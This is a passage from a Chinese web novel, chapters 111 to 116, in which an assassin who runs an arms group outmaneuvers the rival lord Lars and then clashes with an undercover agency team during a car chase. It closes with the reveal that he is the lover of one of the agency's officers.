对方终究还是留了一丝余地,给阿努索留下了一条性命。 拉尔斯还是松了口气,垂下眼皮思考了一会。 在抬头时,眼中翻涌着滔天的恨意与冰冷的算计。 他深吸一口气,声音恢复了惯常的阴沉,却带着不容置疑: “他以为这样就能让我低头吗?” “帮我联系埃特纳斯,我要与他通电话。” 第111章 风水轮流转 时清徵:“拒了,就说我没空。” 时清徵摆明了就是想晾着拉尔斯。 风水轮流转啊。 前来回话的人应道:“好的。” 阿努索进医院的第二天,阿南再次出现在时清徵面前。 这一次,时清徵的态度带着一种滴水不漏的温和,仿佛他们已经是十分熟稔的合作伙伴了。 “阿南小姐。” 时清徵唇角噙着一丝若有若无的笑意,目光平静地落在她身上:“对于这个结果,可还满意?” 阿南迎上他的视线,短暂地停顿了一下:“自然......是满意的。” 尽管她最初提出的要求是直接取阿努索的性命,但时清徵选择将其彻底废掉,这也在她的预料之中。 毕竟,直接杀人,就意味着彻底撕破脸,再无转圜余地。 然而,她这个想法,实则想岔了。 在时清徵的心里,与拉尔斯早已是不死不休的局面。 之所以留阿努索一命,并非顾忌情面,纯粹是怕麻烦。 一个死了的儿子,不过是一具需要处理的尸体。 而一个活着、却永远只能在痛苦中挣扎的废人,对于拉尔斯那样的人而言,才是更具穿透力的警告和折磨。 这才是时清徵想要的下马威。 时清徵身体微微后靠,姿态放松:“那么我就当我与阿南小姐的初步交易,算是完成了。” 随即,他话锋一转,目光变得严肃了几分:“不知阿南小姐之前承诺的,关于破坏拉尔斯那笔关键军火合作的事,何时才能见到成效?” 阿南的神色依旧平静,似乎胸有成竹:“埃特纳斯先生不必心急,结果......很快就会出现。” 时清徵身体微微前倾,带着一丝不易察觉的探究:“不知阿南小姐,打算用什么方法让这场合作终止?” 拉尔斯那场军火合作关乎拉尔斯集团和官方,想要阻止可是要付出不小的代价的。 这也是为什么FK选择先与拉尔斯谈判的原因。 毕竟这不是小事,能和平解决干嘛动用武力呢?但是显然有人就是得被暴力收拾。 如今阿南主动选择帮FK这个忙,倒是让FK从这场交易泥潭中脱身。 无论如何,稳赚不赔。 如果阿南真的阻止了,FK不用一兵一卒就抢回了生意当然是好事。 如果阻止不了,FK再出手也不迟。 面对时清徵的试探,阿南对此却似乎讳莫如深,只是轻轻摇了摇头: “具体的结果尚未尘埃落定,恕我此刻无法多言。” 时清徵也没有选择逼问:“那我就拭目以待了。” “不过.......” 时清徵话锋一转,眼神中带着玩味的探究:“我很好奇,阿南小姐似乎底气十足?莫非是背后有高人指点?” 阿南面色沉静如水,不见丝毫波澜:“埃特纳斯先生说笑了。若我真平平无奇,怕是连坐在这里与您对话的资格都没有。” 她微微一顿,眸光深处暗流涌动,沉默了片刻才又开口,语气平淡: “至于高人?不过是孤注一掷,拼尽全力罢了。哪有什么高人相助。” 时清徵唇角的笑容加深了几分,那笑意却未达眼底,反而带着些锐利:“阿南小姐何必如此自谦?” 他身体微微前倾,声音压低:“我这儿......可是恰好听到了一些颇有意思的风声。” 阿南先是沉默,随后笑着勾起唇来:“埃特纳斯先生消息灵通,自然什么风声都从四面八方来了。” “不过风声有真有假,埃特纳斯先生还是要好好甄别一番。” “这是自然。”时清徵从笔筒中拿出一支钢笔,轻轻摩挲着笔身。 “如果传言是假的那自然两大欢喜,如果是真的......那我可就要怀疑阿南小姐的用心了。” 阿南面对时清徵的步步紧逼,原本慌乱的情绪反而逐渐变得平静起来。 她面上依旧不动声色,笑着应是。 时清徵也像是随口一提,很快就把这个话题揭了过去。 “阿南小姐先前提的条件我已经完成了一个,至于第二个让拉尔斯倒台......不如我替你杀了他。” 时清徵说这话的时候很轻松,似乎觉得这并不是什么难事。 他的这个态度让阿南也不由得多看了他一眼。 想杀拉尔斯难,杀了拉尔斯的后果更是难以承担,不然FK也不会和拉尔斯明争暗斗这么久。 “埃特纳斯先生说笑了,他毕竟是我阿爸,我怎么会要他的命呢?” “只要交易结束后,你把他交给我处理就行了。” 时清徵故作诧异:“哦,看不出来阿南小姐如此有孝心。” 这句话只是放在这里却显得有些讽刺了。 阿南抿唇没有回话。 这个埃特纳斯还真是难搞,未免谨慎地太过了。 “不如这样,我帮阿南小姐把拉尔斯手下的势力收拢,拉尔斯的命归我,如何?” 阿南面上不动声色,实际上心里暗骂了一句。 呸,帮忙收拢势力?这个人怎么会这么好心。 他不趁机把拉尔斯手下的势力全都整垮就不错了。 “阿爸年事已高,埃特纳斯先生要他又有何用,不如留他一命。” “对啊,年事已高早日西去不是正好?” 时清徵笑得很温和,似乎是在开玩笑,可阿南知道眼前这个人不是在口出狂言。 他是真的想杀了拉尔斯。 阿南的睫毛微颤,眨眼时多闭了一瞬,仿佛在权衡利弊的天平。 随即,她迅速收敛了那一丝不易察觉的犹疑,选择了有限度的坦诚。 “埃特纳斯先生。” 她抬起眼,目光沉静地直视时清徵,声音平稳无波:“实不相瞒,我的目标,是获得拉尔斯。这其中缘由,还请您......体谅一二。” 她的眼神像浓雾,平静却无法窥测。 即便是时清徵此刻也难以完全穿透这层迷雾,看清她心底真实的图谋。 时清徵眉梢微挑,唇边依旧是那抹惯有的疏离的笑意:“哦?” 他轻轻发出一声疑问:“这倒真是出乎意料的有趣。” 他顿了顿,语气带着一丝不容回避的探究: “只是,阿南小姐,你不觉得你此刻的目标,与你最初寻求合作时的想法背道而驰了吗?” 阿南:“并非背道而驰,我的目的不便多讲,望您体谅。” 体谅,又是这句话。 第112章 我可以考虑放你一马 面对时清徵犀利的逼问,阿南选择了缄默。 在时清徵这样心思缜密如发的人面前,言多必失。 更何况,他刚才抛出的那句“风声”....... 他究竟知道多少?是确有其事,还是仅仅在试探? 空气仿佛也被这沉默冻结了,沉重得令人窒息。 时清徵似乎并不在意这凝固的气氛。 他随意转了一下手中的钢笔,随后笔尖在纸面上流畅地写下了一行字迹。 写罢,他将钢笔随意地搁置。 那笔身恰好盖住了刚刚写下的那行墨迹。 他这才抬眼,看向依旧沉默的阿南,脸上的神情依旧是轻松的。 “阿南小姐的目标,我自然体谅,你不愿说,我也不会多问。” 他刻意在“目标”二字上稍作停顿,语气真诚。 “我对阿南小姐,自然是信任的。你.....不必紧张。” 他的姿态依旧闲适,但那无形的压力却丝毫未减: “等到那份官方的军火合同完完整整地,重新回到FK的手中。那么,阿南小姐此时此刻心中所求之物,我自然会......双手奉上。” 他们的对话很快就结束,阿南离开后Sam走了进来。 他们两个交臂而过。 Sam若有所思的看着阿南的背影,然后走了进去。 “老大,这女人跟你说啥了?” 时清徵简单讲了一下他们刚才的聊天过程。 Sam大大咧咧地往椅子上一屁股坐了下去,然后翘着二郎腿,从口袋里拿出橘子剥着吃。 边听边吃,时不时还点头。 时清徵看他这副状似听懂样子,问道:“所以你觉得呢?” Sam:....... 他咽下了口中的橘子,默默懵逼:“我觉得,你说的有道理。” “不过那个阿南真的有问题?” 时清徵:“不知道。” Sam继续胡言乱语:“啊,那你还......你这不是冤枉人家吗?万一人家是个好人呢。” 说到“好人”时,Sam自己都没忍住笑了一下。 “直觉而已,留一个心眼。” “啧啧,老大,你越来越黑了,我都不想跟你唠嗑了。” “你心里没鬼还怕什么?” Sam:“......咳咳,老大,拉尔斯那边没动静了,我总感觉他要给我们拉一坨大的。” “嗯,不然他就不是拉尔斯了。” “那我们现在怎么办?” “趁火打劫。”时清徵淡淡地说。 Sam眼睛一亮:“火上浇油。” “那你去吧。” Sam:“.......” 为毛又是他? ———— 阿南的目光落在时清徵在她走时给她的那张纸上。 上面是时清徵刚刚写下的那行字。 那时的时清徵状似随意地开口:“说起来,之前花了不少时间研习A文。阿南小姐精于此道,不妨帮我看看,这句话,写得可有错?” 纸面上,赫然写的是A文: “螳螂捕蝉,黄雀在后。” 字迹遒劲洒脱,显然是下过苦功练过的。 阿南的视线在那八个字上停留了足足两秒,眼底深处的暗流很快退去。 东南群岛离A国并不远,因此A语也是当地的官方语言之一,六成以上的人都会。 但仅限于会交流,真正深入去学的并没有多少。 不是不愿学,而是没时间,也学不懂。 A语本就是很深奥复杂的语言,千年的历史演变你以为闹着玩呢。 阿南面上没有任何多余的表情,只是平整地将那张纸折好,收进了口袋。 “字很漂亮。” 时清徵只是含笑深深地看着她,并未再言。 想着时清徵最后那个意味深长的眼神,阿南思忖了片刻。 至少时清徵真的调查过她,知道她的来历。 至于调查到了多少...... 阿南发了一条密电出去: 【身份暴露风险激增,任务尽快收尾。】 收到这一条消息的宋燕回眸色暗了暗。 他们这些天一直在暗中配合卧底的行动,帮忙铲除拉尔斯集团的危险势力,从中获取情报与证据。 然而此时卧底有了被发现的风险。 他没有回复,不到必要时刻,他们一直是单向联系的。 在第七局的暗中策应下,阿南成功地在拉尔斯集团与官方之间那笔的军火交易中,掀起了巨浪。 拉尔斯旗下数个核心军火生产基地,在短短数日内接连遭遇袭击。 生产线彻底断裂,他赖以履约的生产能力被摧毁。 面对堆积如山的订单和官方的最后通牒,拉尔斯却连一枚合格的子弹都交不出来。 与此同时,那些买了FK武器的地方军头,正有恃无恐地在官方控制的区域边界频繁活动,武装挑衅的规模与频率与日俱增。 他们手握武器时不时在官方头上跳一下彰显存在感。 面对官方焦头烂额而重新伸出的橄榄枝,时清徵展现出了什么叫商人本色。 他们重新拟定了合同,将价格抬高了整整两成。 这无异于狮子大开口,可眼下情况官方不得不低头。 拉尔斯集团的根基被撼动,而FK则踩着对手和官方的妥协,坐得更稳。 拉尔斯在重压之下病倒,整个集团像是失去了主心骨,外加FK的“帮助”,大厦将倾。 时清徵的目的已经达成,阿南那边也已经很顺利的趁虚而入,真正进入了拉尔斯集团的核心。 阿南那边给他发了条信息。 【希望埃特纳斯先生说话算话。】 将拉尔斯交给阿南处理。 拉尔斯自从病了之后就失去了音讯,像是彻底失去了消息。 没人知道他躲到哪去了,除了时清徵。 “拉尔斯先生当初要是有这觉悟该多好,我们之间也不会有这么多争端了。” FK东南区基地里,时清徵特别礼貌地给拉尔斯带了杯茶,放到他的面前。 拉尔斯闭眼,神态很是疲惫。 他是在半夜被FK的人从私人疗养院“请”过来的,到现在都没有合眼。 “你赢了。” 短短几天,拉尔斯的头发已经全白了,老了不知多少岁,也失去了之前的精神头儿。 时清徵只是摇了下头,抬手示意拉尔斯喝茶。 拉尔斯此刻异常平静。 是他低估了这个人,是他大意了,不然...... 拉尔斯端起茶盏,喝了一口。 他其实对茶并不感兴趣,但总不至于在这时候下了时清徵面子。 时清徵像是很有闲情逸致一般,与拉尔斯东拉西扯一大堆,听得拉尔斯都困了。 可偏偏时清徵也没有住口的念头。 拉尔斯毕竟年纪大了,大晚上的折腾这么久,外加伤病buff,现在一整个头脑不清醒。 但听到时清徵的下一句话,他很快地清醒的哆嗦了一下。 时清徵:“有人花大价钱买你的命。” “可是我对拉尔斯先生还是很敬重的,只要拉尔斯先生能回答我的问题,我可以考虑放你一马。” 第113章 你的福气在后头 听到时清徵的话,拉尔斯原本瘫软在椅子上的身体,瞬间绷直坐起。 脸上那层萎靡的灰败之色,被硬生生驱散了几分。 能活着,谁愿意去死? 尤其是像他这样有钱的老头,巴不得自己永远十八。 在面对时清徵,这个笑意森然的煞星,拉尔斯毫不怀疑对方话语的真实性。 就在不久前,他可是亲眼目睹时清徵带着人,如入无人之境般扛着枪冲进他戒备森严的病房,然后笑容可掬地“请”他离开。 那叫一个彬彬有礼,虽然完全没必要。 拒绝?那时候他倒是想。 只是目光扫过床边,从保镖身上流淌至他脚下的血液。 识时务者为俊杰。 那么....... 拉尔斯喉咙干涩地滚动了一下,声音带着沙哑,却依旧很清晰: “知无不言。” 时清徵脸上的笑容加深了几分:“我就欣赏拉尔斯先生这一点,非常识时务。” 时清徵要知道的,自然是拉尔斯与那个神秘幽灵组织之间的勾连。 尤其是关于拉尔斯手中那份至关重要的芯片,那是他此行必须拿回的核心目标。 拉尔斯在时清徵看似温和的眼神下仅仅挣扎了一瞬。 求生的本能压倒了一切。 他深吸一口气,不再有丝毫隐瞒,将自己所知的,关于幽灵组织以及那份芯片的一切和盘托出。 讲到最后,拉尔斯都有些口渴了。 他端起桌子上的茶杯一饮而尽。 “我把知道的全都说了,希望埃特纳斯先生能信守承诺。” 时清徵没有再理会他,而是拨了个电话出去。 让人去找到拉尔斯手中的那份芯片。 拉尔斯的诸多别墅已经在时清徵的控制下,不过短短半小时,手下就发来了信息。 契瓶03被找到了,专业人员已经着实提取瓶内的芯片。 时清徵笑着拍了下拉尔斯的肩膀:“拉尔斯先生,你的福气在后头。” 说着也不再理会拉尔斯,径直走了出去。 拉尔斯整个人瘫软在椅子中,闭眼不知道在想什么。 当晚基地的人就加班加点地把芯片里的内容提取了出来,因为有芯片01的经验,所以这次格外顺利。 时清徵心情不错,直接让阿南把拉尔斯接回去“孝顺”了。 阿南来的很快,甚至可以称得上有些迫不及待。 天还蒙蒙亮,阿南的人就已经来到了基地外。 时清徵直接把拉尔斯送了过去。 熬夜熬穿的Sam啃着包子走了过来,假装自己刚睡醒起来吃早饭。 他先是装模作样说了几句早上空气真清新,真适合锻炼的话。 结果就看到十几亿被拉走的场面。 一脸天塌了的表情。 他站在时清徵身边,看着车子远去的背影一脸痛惜。 “老大,那可是十几亿赏金啊,说不要就不要了?” 他听到自己心碎的声音。 拉尔斯身价可高了,因为是大毒枭,所以竞争对手也很给力,有事没事给他加个价。 就是希望有朝一日这个老东西被人弄死,然后瓜分他的蛋糕。 时清徵认同地点头,有些遗憾地开口:“对啊,很高的积分呢。” 如果把拉尔斯杀了,他的杀手排名肯定能进前五。 Sam摸了摸下巴:“要不......?” 其实干他们这行的人基本都没什么原则,节操什么的更是没有。 你跟一个杀手谈素质的话......那你很能谈了。 论起没素质,没底线,时清徵真的是佼佼者。 有节操的人当不了顶尖杀手,顶尖杀手没有君子,只有小人。 “他是我的。”时清徵霸道总裁发言。 Sam:“.......” 活爹。 时清徵是答应把拉尔斯交给阿南处理,他现在已经把拉尔斯给她了。 至于能不能守得住,那就是阿南自己的问题了。 时清徵拍了下Sam的肩膀:“回去补觉,晚上我带你去堵人。” Sam眼睛一亮:“拉尔斯?” 时清徵:“嗯哼。” ———— 阿南将拉尔斯带回临时安全屋,这位老头出奇地不配合。 甚至对阿南破口大骂,骂她没良心。 阿南没有浪费时间和口舌去说服。 她眼神冷冽,动作干脆利落地取出一支预先准备好的强效镇静剂,强行让人关机。 “让他安静待着。” 阿南的声音毫无波澜。 与此同时,第七局在东南群岛的收网行动已尘埃落定。 多条由群岛通往A国内陆的隐秘犯罪通道被精准斩断,关键节点被拔除。 大量确凿的铁证,账本,通讯记录,交易影像以及关键证人口供已牢牢掌握在第七局手中。 此行的核心目标已然达成。 眼下,只剩下最后一步:将拉尔斯秘密押解回A国,并撬开他的嘴,挖出更深层的保护伞。 只要这一步顺利完成,整个行动就将迎来完美落幕。 为确保万无一失,顾鸣鹤深知迟则生变的道理。 他果断下令,由一支暂时组成的精干快速反应小队,携带所有核心证据原件即刻启程先行返回A国。 而顾鸣鹤率领的第一行动队守在外围接应点,确保能把卧底和拉尔斯这个活证据带离群岛。 阿南自从回去之后,FK的人始终盯着他们的异动。 虽然拉尔斯集团如今元气大伤,内部管理层混乱,已经没了跟FK掰手腕的实力。 但时清徵还是防着阿南。 若是阿南接手拉尔斯集团,对时清徵而言并不是好事。 这个女人有头脑有手段,且不逊于拉尔斯。 他始终觉得假以时日阿南会把拉尔斯的其他继承人们都弄死。 倒是后可真是养虎为患了。 反正老子都杀了,干脆一不做二不休,把阿南也送走得了。 斩草除根,时清徵是认真的。 不过有些事却好像出乎他的意料了。 “嗯,出境?”时清徵倒是有些好奇了。 他原以为阿南要拉尔斯是为了挟天子以令诸侯或者是其他什么目的。 但......这是打算带着拉尔斯跑? “是的,目标七分钟前驱车带着拉尔斯离开,看目前的行驶轨迹大约是前往普伦多方向。” 普仑多,是东南群岛的真正的三不管地带。 因为它位于诸多国家的边境线上,所以多年来争来争去,并没有被明确划分是哪个国家的领土。 可谓是犯罪,逃跑的天堂。 时清徵没有犹豫,直接吩咐:“集结人手,准备车辆。” 第114章 顾鸣鹤?! 夜色如墨,黑暗铺在了马路上,唯有行驶的车灯照亮了前路。 道路旁的路灯显得格外穷酸,跟天上的星子一样,上演着一闪一闪亮晶晶。 但凡是换个文化人来了都得称赞路灯一句艰苦卓绝。 不过阿南可没工夫想这么多。 这一路她已经甩掉了不少人,有拉尔斯集团的,有拉尔斯的仇敌的。 也有FK集团,还有很多不知道是谁派来的。 车后座上,拉尔斯被捆的结结实实,此时药效已经过去,他已经有些清醒了。 此时这很不老实的蛄蛹着,但是嘴里塞着布让他一句话都说不出来。 阿南看了一眼后视镜,然后伸手点了一下耳麦。 【枪手呼叫白鹤,目标在车,预计十分钟抵达安全点,完毕。】 耳麦另一头一道声音很快回复。 【收到】 正是顾鸣鹤。 随着车子不断靠近预定的安全点,阿南紧绷的神经才稍稍松弛了一丝。 眼看胜利在望。 然而,就在这松懈的刹那。 “砰——!” 一声尖锐刺耳的声响。 一颗子弹精准地嵌在了副驾驶前方的防弹挡风玻璃上,留下一个蛛网般的白色裂痕。 阿南的瞳孔骤然收缩,生死一线的本能反应超越思考, 她急打方向盘,车身瞬间完成了一个惊险至极的漂移甩尾,险之又险地避开了紧随而来的子弹。 那些子弹全都是朝着车轮胎去的。 车身还未完全稳定,阿南的目光扫向后视镜,心猛地一沉。 只见车后,四辆改装越野车正从不同的路口汇入,死死咬住了她的车尾。 其中一辆马力最为狂暴的车,竟在短短几秒内疯狂加速,强行挤到了与她并驾齐驱的位置。 阿南下意识地朝左侧车窗瞥去。 对方摇下的车窗,她清晰地看到驾驶座上那个一头刺眼黄毛的年轻男人。 “砰砰砰——!” 又一轮子弹狠狠砸在阿南的车身上,火星四溅。 几乎在枪声响起的同一瞬间,顾鸣鹤就从耳麦中注意到了这边的情况。 接应小组很快做出反应,前去拦截追击车辆。 Sam本来坐在驾驶位上很嘚瑟地跟后座的时清徵炫耀车技。 “老大,不是我说,就我这车技,那简直是车神般......”的存在。 只是牛逼还没吹出口,马路对面就急速行驶来一辆灰色车,直直朝着他的车撞了过来。 强行别停。 Sam猛打了方向盘:“艹,吓死老子了。” 就不能让他好好吹个牛逼吗? 他这一方向盘打的极其潇洒,整个车都要飞出去了。 时清徵坐在后座只觉得跟坐过山车一样。 对面的车技显然很好,Sam被那辆灰色车逼的连连踩刹车。 眼睁睁地看着阿南的车驶远。 那辆灰色车咬的很紧,明显是在配合对方撤退。 时清徵看着骂骂咧咧开车的Sam,直接半站起身,揪着后衣领把人甩到了副驾驶座上。 然后从后方直接跨到驾驶位上,踩着油门朝灰车撞了过去。 顾鸣鹤原本看着阿南的车驶远,也打算跟上去,结果后视镜中那辆黑色车竟然发了疯一样撞过来。 顾鸣鹤蹙了下眉,却并没有让路,而是踩着油门强势压着对方。 然而黑色车像是换了驾驶员一样,竟硬生生从那一点缝里冲了过去。 两个车几乎是擦着过去的,车子同时猛的震了一下。 “我草!”副驾驶位上没系安全带的Sam直接脑子撞车顶,弹射起飞。 他第一次感觉自己要晕车了。 时清徵将车的油门踩到了底,在黑暗中几乎看不到它那闪过的黑影。 可惜灰车始终跟在他后面,时清徵看着后视镜中紧咬不放的车,嗤笑一声:“车技不错。” 然后猛打方向盘,车子旋转一百八十度,就在两车头相对的瞬间。 时清徵拿出枪,三枪连发直打后方灰车的驾驶位。 然后趁灰车闪避的功夫再次转回方向,追前方车去了。 顾鸣鹤看见前方车猛的转过来时就察觉到了不对劲,打方向盘勉强躲过去。 三颗子弹仅仅是打在了副驾驶前的车窗上。 三颗子弹打在同一个地方,副驾驶前方的玻璃直接被贯穿,子弹擦过车内,镶在了后方车玻璃上。 顾鸣鹤余光瞥见侧方的弹孔,眸色变得幽深,看着前方的尾灯追了回去。 时清徵已经追上了阿南,强行停在她的车前。 为了保命,阿南被迫踩下刹车,但两车还是撞击在了一起。 好在两方的车性能都不错。 “呕~” Sam快吐了,他感觉自己在玩加速大摆锤。 “老大,开慢点啊。” Sam可怜巴巴地拉扯着安全带,鬼知道他刚才险些被甩出去。 起飞的感觉。 时清徵很想把他一脚踹下去。 两车相撞被迫停下后,时清徵率先打开车门走了出去。 另一辆车中阿南也走了出来,此刻她眸光中带着危险。 两人的瞬间行动拉至到咫尺距离。 时清徵的那把打空的枪被他随手扔回了车里。 没有任何废话,时清徵速度极快地欺近,抬脚就是侧踹。 阿南的反应不可谓不快,她神经紧绷,凭借出色的本能侧闪躲过。 险之又险,腿风擦过了她的腰腹。 然而时清徵踢出去的那一只脚还没有落地,另一只腿弯就微沉。 随即以更快的速度和更刁钻的角度踹向阿南腹部。 阿南猛地被踹倒,连连后退撞在了车门上。 疼痛蔓延出来,让阿南忍不住皱眉。 这人很强,她不是对手。 只是对方并没有选择追击,而是静静的站在不远处,抬眸看着她。 腹部的剧痛让阿南眼前有一瞬间发黑,她强撑着,一只手死死按在伤处,直起身。 她抬眸迎向步步逼近的时清徵: “埃特纳斯先生,你这是什么意思?” 时清徵对她的质问置若罔闻。 他的目光甚至没有在她身上多停留一秒,径直从她身侧走过。 他拉开后车门。 里面被捆着的拉尔斯惊恐地瞪大了眼睛。 时清徵一把攥住,毫不费力地将他整个从座位上拖拽出来。 拉尔斯被狠狠掼在地面上,巨大的冲击力让他五脏都要碎了,口中塞着的布团也随之掉落。 尘土和血腥味瞬间呛入他的口鼻。 拉尔斯顾不上疼痛,求生的本能压倒了一切。 他像抓住最后一根救命稻草般,声音因恐惧而扭曲变形: “埃,埃特纳斯先生,救我,救我啊!您要什么我都给您,求求您.....别把我交给她!” 他那充满绝望的哀嚎在空旷的夜路上回荡,显得格外凄厉。 不过时清徵的注意力显然不在他身上,因为他看见之前给了三枪的黑车追了过来。 从驾驶座上走下来的人。 顾鸣鹤?! 第115章 掉马 顾鸣鹤的瞳孔骤然缩紧,呼吸一滞。 那个站在车前的身影清晰的那一刻,似乎有惊雷在他脑中炸开。 那人不是别人,赫然是他日思夜想的时小徵。 “时......” 他嘴唇无意识地开合,下意识想喊出的那个名字卡在喉咙处,没有声音。 他听到拉尔斯刚才的惨叫了。 埃特纳斯?! 时清徵是埃特纳斯?! 那个在东南群岛翻云覆雨、手段狠戾的FK掌权人?! 他僵在原地,大脑一片空白。 阿南的声音带着警惕,目光紧紧锁在时清徵身上;“埃特纳斯先生, 你忘了我们之前的约定了吗?” 可此刻的时清徵,哪里还有心思回应阿南? 他所有的注意力都被那个突然出现的,但绝不该出现在此地的人攥住了。 因为...... 我草?!! 时清徵的眼中,震惊、慌乱、茫然如同走马灯般飞速闪过。 不是......谁能给他解释一下,顾鸣鹤怎么会在这里?!他不是应该在A国吗?! 什么情况?! 有没有人给他开一个上帝视角?!他好像有点......捋不明白了。 阿南跟顾鸣鹤是一伙的? 然而,现实根本容不得他细想。 引擎轰鸣声由远及近,数辆黑色越野车从不同方向疾驰而来。 车门猛地打开。 第七局的人鱼贯而出,训练有素地迅速占据有利位置,枪口齐刷刷对准FK后面赶来的三辆车。 还有几个枪口对准时清徵。 阿南趁机与时清徵拉开了距离。 看样子似乎是第七局的人更占优势。 时清徵眸光沉了一下,垂放在身侧的手微动。 下一秒,无数个红外线点就出现在第七局的人身上。 暗处有FK埋伏的人。 气氛瞬间降至冰点,剑拔弩张。 宋燕回从其中一辆车上下来,快步走到僵立的顾鸣鹤身边,眉头紧锁,低声问:“怎么回事?” 顾鸣鹤:“.......” 他喉结滚动,却依旧发不出任何音节,只是死死盯着前方那个熟悉又陌生的身影,眼神复杂到了极点。 宋燕回顺着顾鸣鹤那几乎凝固的目光疑惑地望去。 下一秒,宋燕回的瞳孔剧烈地震。 “他不是......” 他几乎脱口而出,声音带着难以置信的变调。 他不是你那个心尖上的小情人吗?! 宋燕回的舌头像是打了结,一向淡漠冷静的脸上罕见地出现了迷茫和错愕。 他并未目睹之前时清徵与阿南的近身搏斗,自然看不清楚眼前的状况。 三个核心人物,此刻陷入了各自汹涌的头脑风暴。 顾鸣鹤:世界崩塌,认知重组中..... 时清徵:CPU过载,信息混乱,急需解释..... 宋燕回:我是谁?我在哪?我看到了什么?! 然而,现场的气氛根本没有留给他们任何理清思绪的时间。 第七局队员的手指始终放在扳机上。 而FK的枪口也始终没有离开,红点依旧亮着。 最终打破寂静的是拉尔斯。 他挣扎着蹭着车门站起,背在身后的手终于解开了绳索。 “埃特纳斯先生,你救我,我把集团给你!” “你帮我杀了他们!” 埃特纳斯? 宋燕回错愕地看着时清徵,又皱眉看向顾鸣鹤。 顾鸣鹤抿了下唇。 阿南:“埃特纳斯先生这是要出尔反尔?” 一句称呼让时清徵回神。 此时不是犹豫和惊讶的时候,他尽量不去看顾鸣鹤,以免又多想。 时清徵眸色恢复正常,扫过在场的所有人。 “出尔反尔?人我已经给你了,至于能不能护住,或者带走,那就是阿南小姐的问题了。” 此时眼看情况有些不对劲的Sam也从车上蹦了下来。 “就是,我们凭本事抢的人,什么叫出尔反尔?” 那副嚣张跋扈的样子配上那嘚瑟的嗓音实在是有些欠,瞬间吸引了众人的视线。 Sam对于身为人群焦点一点都不感觉尴尬,反而继续道:“我赌你们今天一个都走不掉。” 宋燕回此时也皱起眉,起了警惕心。 这里的人,还有那些暗处的人....... 阿南的视线随之落到了拉尔斯身上。 这个人,他们必须带走。 Sam看出几人的目光,于是又指着拉尔斯,一脸痛惜:“你知道他多值钱吗?十五亿啊!” 如果把这个人放跑了,他得痛的三天三夜夜睡不着觉,吃不下饭。 你知道十五亿的含金量吗,它是真的很有含金量啊! 纯金! 顾鸣鹤走了过来,此时眸光也已经恢复了冷静。 他强压下心中那些即将冒出来的念头,看着时清徵。 此时他的眼中倒映着对方的影子,熟悉又陌生。 “埃特纳斯先生是吗?不如我们.....谈谈?” 不管发生了什么,眼下不是纠结于个人情爱的时候。 时清徵:“有什么可谈的。” 但是他还是抬手示意暗处人将武器放下,FK人不敢不听。 时清徵身子半靠在车上,扯出一抹冷笑。 如果是别人,他就直接开枪了。 顾鸣鹤...... 怎么偏偏碰到了你。 时清徵觉得有些头疼了。 拉尔斯:“埃特......” 时清徵:“闭嘴。” 时清徵侧目瞪了拉尔斯一眼,带着明显的杀意。 这特么就是一个祸害,早知道昨晚就把他一枪崩了。 阿南显然也没想到时清徵居然没有直接动手。 她走到宋燕回面前,显然之前也注意到了这两人表情的异常。 “你们....认识?” 她没有错过顾鸣鹤和宋燕回看时清徵时的表情。 宋燕回:“.......” 他没回,也不知道怎么回。 宋燕回不想回。 现在场面就实在有些尴尬,比起剑拔弩张来更让时清徵难受。 最终,顾鸣鹤又走近了些,两个人只有一步的距离。 除了当事的两个人,双方其他人都有些谨慎,生怕对方会忽然下杀手。 不过没有命令,他们也不敢轻举妄动。 顾鸣鹤:“埃特纳斯先生?” 时清徵:“......嗯。” 两人的目光在空中相接,复杂的情绪仅仅纠缠了一瞬,就被理智取代。 把想问的冲动强行压了下去,迫使自己回到眼前对峙的状态。 顾鸣鹤声音平稳:“这个人对我们很重要,埃特纳斯先生有什么条件可以提,前提是这个人得归我们。” 时清徵的目光短暂地掠过被控制住的拉尔斯。 就在此刻,拉尔斯仿佛看到了救命稻草,疯狂地摇头,嘴巴大张—— “埃特纳斯先生,你——!” 时清徵只是沉吟了一秒。 “好。” Sam:.......?老大,你让我输了? 阿南:.......? 宋燕回:“.......” 众人:?! 你说好什么?! 顾鸣鹤喉结无声地滚动了一下,压下眼底翻涌的惊涛。 拉尔斯未完的呼喊戛然而止,阿南一记精准的手刀劈在他的颈侧,把人直接给放倒。 时清徵抬眸,视线重新望着顾鸣鹤:“那就如你......们所愿。” 话音未落,他已干脆利落地转身。 时清徵的身影就是无声的命令。 阴影中,所有潜伏着的人也开始撤离。 他没有回头,留下一个意味深长的尾音: “就当是.......礼物。” 第116章 时小徵,我来找你了 时清徵一行人的车迅速驶离现场,消失在茫茫夜色中,仿佛从未在此停留过。 唯一留下的,只有那个在昏迷中坠入绝望的拉尔斯。 顾鸣鹤的目光依旧牢牢锁定时清徵离去的方向,仿佛魂魄也被一同带走,久久未回神。 “白鹤。” 宋燕回的声音响起,叫了了顾鸣鹤的代号。 顾鸣鹤这才缓慢地收回了目光。 宋燕回下意识地摸了摸鼻尖,语气带着一丝犹豫和确认: “原本我还只是怀疑......但现在,我百分百确定了。” 他顿了顿,看向顾鸣鹤:“之前那个闯进你二叔家,还跟我交过手的人,就是你的那个.......就是他。” 顾鸣鹤喉间发出一声沉闷的回应:“嗯。” 先前所有零碎无法解释的线索,此刻瞬间严丝合缝地拼接在了一起。 上井酒吧那个令他不愿意去细想的熟悉背影。 时清徵偶尔流露出的与身份不符的惊人专业素养。 他那份看似随心所欲、实则难以捉摸的无羁与随性...... 一切的一切,仿佛都有了唯一且震撼的答案。 只是这答案,此刻赤裸裸地摊开在顾鸣鹤面前,带着难以言喻的沉重与复杂,让他一时难以消化。 宋燕回叹了口气,将手重重按在顾鸣鹤的肩膀上,拍了两下。 随后,他果断转身,开始指挥队员清理现场,准备撤离。 另一边,坐在疾驰车内的时清徵,脸上维持着一贯的平静无波。 但内心深处,一丝让人难受的刺痛正在蔓延。 十五亿! 那可是实打实的积分和赏金啊! 比他更肉痛的,是驾驶座上的Sam。 要不是方向盘还攥在手里,他恨不得当场捶胸顿足,痛哭流涕一番。 “老大你,你真是.....” Sam的声音带着哭腔和难以置信。 “太豪横了!” “十五亿啊!我的老天爷!我真的......你、你怎么就.......” 他语无伦次:“这,这完全不像你啊老大!” 时清徵对Sam的碎碎念置若罔闻。 他捡起之前被自己随意丢弃的那把手枪。 修长的手指漫不经心地把玩着,指腹缓缓划过枪身。 眼神在车内昏暗的光线下显得格外幽深难测。 Sam没人搭腔,也丝毫不影响他表演单口相声的热情: “其实,其实吧,杀了拉尔斯也不见得是好事,把人弄走......嗯,也算......也算一种选择?” 他试图找补,但这话说得连他自己都没底气。 